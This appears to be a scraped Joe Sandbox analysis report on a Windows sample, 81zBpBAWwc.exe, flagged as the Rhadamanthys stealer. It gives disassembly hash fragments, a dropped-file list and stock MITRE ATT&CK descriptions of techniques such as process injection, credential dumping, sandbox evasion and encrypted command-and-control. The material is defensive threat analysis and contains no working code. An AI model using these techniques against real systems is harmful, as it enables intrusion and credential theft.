Associated: 00000000.00000002.1750265903.00007FF69977B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750320696.00007FF69977C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750435239.00007FF69989B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750463184.00007FF69989C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750489646.00007FF69989F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6996c0000_81zBpBAWwc.jbxd

Similarity

API ID: CloseHandle
String ID:
API String ID: 2962429428-0
Opcode ID: d0a462f04c941b5b32d0d3707874af4f94b5957b79f4ef2077f52d904a13b6a9
Instruction ID: b1f2ff2c8a7c4b6dd840e35b02efeec406dd4f9f071083fe2170496357e93ec5
Opcode Fuzzy Hash: d0a462f04c941b5b32d0d3707874af4f94b5957b79f4ef2077f52d904a13b6a9
Instruction Fuzzy Hash: 99F06222E0884183F635EE16E4453B972A0EB84BD4F185471DF5E866D1CF3DE8C2C302

Function 00007FF699707E30 Relevance: 5.0, APIs: 4, Instructions: 30COMMON

Download Yara Rule

APIs

CloseHandle.KERNEL32 ref: 00007FF699707E52
CloseHandle.KERNEL32 ref: 00007FF699707E62
CloseHandle.KERNEL32 ref: 00007FF699707E72
CloseHandle.KERNEL32 ref: 00007FF699707E7A

Memory Dump Source

Source File: 00000000.00000002.1750111642.00007FF6996C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6996C0000, based on PE: true

Associated: 00000000.00000002.1750087232.00007FF6996C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750265903.00007FF69977B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750320696.00007FF69977C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750435239.00007FF69989B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750463184.00007FF69989C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750489646.00007FF69989F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6996c0000_81zBpBAWwc.jbxd

Similarity

API ID: CloseHandle
String ID:
API String ID: 2962429428-0
Opcode ID: d3428f1d18ea7f16bbf651ebddb4d5a6dda2196743fbc2f30ef966f6f9ec0f8f
Instruction ID: 370637e269606680930afce04cc1e28adf73e76642fe095b4fea51a4c8ea8169
Opcode Fuzzy Hash: d3428f1d18ea7f16bbf651ebddb4d5a6dda2196743fbc2f30ef966f6f9ec0f8f
Instruction Fuzzy Hash: DDF01D22A0594595EB35EE2AD8457B837A4EB84FCCF181571DE0C8A695CF3ED882C302

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may circumvent mechanisms designed to control elevate privileges to gain higher-level permissions. Most modern systems contain native elevation control mechanisms that are intended to limit privileges that a user can perform on a machine. Authorization has to be granted to specific users in order to perform tasks that can be considered of higher risk. An adversary can perform several methods to take advantage of built-in control mechanisms in order to escalate privileges on a system.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, User Account: User Account Modification, Windows Registry: Windows Registry Key Modification
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to hide configuration information within Registry keys, remove information as part of cleaning up, or as part of other techniques to aid in persistence and execution.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. Credential API Hooking ) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. Web Portal Capture ).
Tactics:	Collection, Credential Access
Data Sources:	Driver: Driver Load, File: File Modification, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Windows Registry: Windows Registry Key Modification
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search the Registry on compromised systems for insecurely stored credentials. The Windows Registry stores configuration information that can be used by the system or other programs. Adversaries may query the Registry looking for credentials and passwords that have been stored for use by other programs or services. Sometimes these credentials are used for automatic logons.
Tactics:	Credential Access
Data Sources:	Command: Command Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 81zBpBAWwc.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: Rhadamanthys

Yara Signatures

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

HIPS / PFW / Operating System Protection Evasion

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Spreading

Software Vulnerabilities

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\regsvr32.EXE.log

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_1tl2eztg.qzb.ps1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_25vmboqr.fgr.ps1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_c5g4eu4q.ttk.psm1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_jim0px3a.5iv.psm1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_jzw2czj1.cko.psm1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_luaxbhni.pw0.ps1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_pz1h5mgp.44d.ps1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_tpnaftvm.1mm.psm1

Windows Analysis Report
81zBpBAWwc.exe

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for details about the network configuration and settings, such as IP and/or MAC addresses, of systems they access or through information discovery of remote systems. Several operating system administration utilities exist that can be used to gather this information. Examples include Arp , ipconfig / ifconfig , nbtstat , and route .
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Application Log: Application Log Content, Command: Command Execution, File: File Access, Logon Session: Logon Session Creation, Network Traffic: Network Connection Creation
Platforms:	Google Workspace, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre